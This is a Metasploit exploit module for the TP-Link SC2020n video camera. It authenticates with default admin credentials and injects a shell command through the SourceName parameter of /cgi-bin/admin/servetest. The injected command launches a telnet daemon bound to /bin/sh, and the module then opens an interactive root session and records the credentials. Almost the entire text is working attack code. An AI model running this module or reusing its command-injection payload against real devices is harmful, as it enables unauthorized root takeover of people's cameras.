TP-Link SC2020n Authenticated Telnet Injection

`##  
## This module requires Metasploit: http://metasploit.com/download  
## Current source: https://github.com/rapid7/metasploit-framework  
###  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Telnet  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'TP-Link SC2020n Authenticated Telnet Injection',  
'Description' => %q{  
The TP-Link SC2020n Network Video Camera is vulnerable  
to OS Command Injection via the web interface. By firing up the telnet daemon,  
it is possible to gain root on the device. The vulnerability  
exists at /cgi-bin/admin/servetest, which is accessible with credentials.  
},  
'Author' =>  
[  
'Nicholas Starke <[email protected]>'  
],  
'License' => MSF_LICENSE,  
'DisclosureDate' => 'Dec 20 2015',  
'Privileged' => true,  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Payload' =>  
{  
'Compat' => {  
'PayloadType' => 'cmd_interact',  
'ConnectionType' => 'find',  
},  
},  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },  
'Targets' =>  
[  
[ 'Automatic', { } ],  
],  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),  
OptString.new('PASSWORD', [ true, 'Password to login with', 'admin'])  
], self.class)  
  
register_advanced_options(  
[  
OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet Command', 10]),  
OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25])  
], self.class)  
end  
  
def telnet_timeout  
(datastore['TelnetTimeout'] || 10).to_i  
end  
  
def banner_timeout  
(datastore['TelnetBannerTimeout'] || 25).to_i  
end  
  
def exploit  
print_status('Exploiting')  
user = datastore['USERNAME']  
pass = datastore['PASSWORD']  
test_login(user, pass)  
exploit_telnet  
end  
  
  
def test_login(user, pass)  
print_status("Trying to login with #{user} : #{pass}")  
begin  
res = send_request_cgi({  
'uri' => '/',  
'method' => 'GET',  
'authorization' => basic_auth(user, pass)  
})  
  
if res.nil?  
fail_with(Failure::Unknown, "Could not connect to web service - no response")  
end  
  
if (res.code != 200)  
fail_with(Failure::Unknown, "Could not connect to web service - invalid credentials (response code: #{res.code}")  
else  
print_good("Successful login #{user} : #{pass}")  
save_cred(user, pass)  
end  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unknown, "Could not connect to the web service")  
end  
end  
  
def exploit_telnet  
telnet_port = rand(32767) + 32768  
  
print_status("Telnet Port: #{telnet_port}")  
  
cmd = "telnetd -p #{telnet_port} -l/bin/sh"  
  
telnet_request(cmd)  
  
print_status("Trying to establish telnet connection...")  
ctx = { 'Msf' => framework, 'MsfExploit' => self }  
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => telnet_timeout })  
  
begin  
if sock.nil?  
fail_with(Failure::Unreachable, "Backdoor service unreachable")  
end  
  
add_socket(sock)  
  
print_status("Trying to establish a telnet session...")  
prompt = negotiate_telnet(sock)  
  
if prompt.nil?  
sock.close  
fail_with(Failure::Unknown, "Unable to establish a telnet session")  
else  
print_good("Telnet session successfully established")  
end  
  
handler(sock)  
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e  
sock.close if sock  
fail_with(Failure::Unknown, e.message)  
end  
end  
  
def telnet_request(cmd)  
  
uri = '/cgi-bin/admin/servetest'  
  
begin  
res = send_request_cgi({  
'uri' => uri,  
'method' => 'GET',  
'vars_get' => {  
'cmd' => 'ftp',  
'ServerName' => 'test',  
'userName' => 'test',  
'Password' => 'test',  
'Passive' => 'off',  
'SourceName' => "/var/ftptest;#{cmd};#",  
'TargetName' => 'testfile'  
}  
})  
return res  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "Could not connect to the web service")  
end  
end  
  
def negotiate_telnet(sock)  
begin  
Timeout.timeout(banner_timeout) do  
while(true)  
data = sock.get_once(-1, telnet_timeout)  
return nil if not data or data.length == 0  
if data =~ /#/  
return true  
end  
end  
end  
rescue ::Timeout::Error  
return nil  
end  
end  
  
def save_cred(username, password)  
service_data = {  
address: rhost,  
port: rport,  
service_name: 'telnet',  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
module_fullname: self.fullname,  
origin_type: :service,  
username: username,  
private_data: password,  
private_type: :password  
}.merge(service_data)  
  
credential_core = create_credential(credential_data)  
  
login_data = {  
core: credential_core,  
last_attempted_at: DateTime.now,  
status: Metasploit::Model::Login::Status::SUCCESSFUL  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
end  
`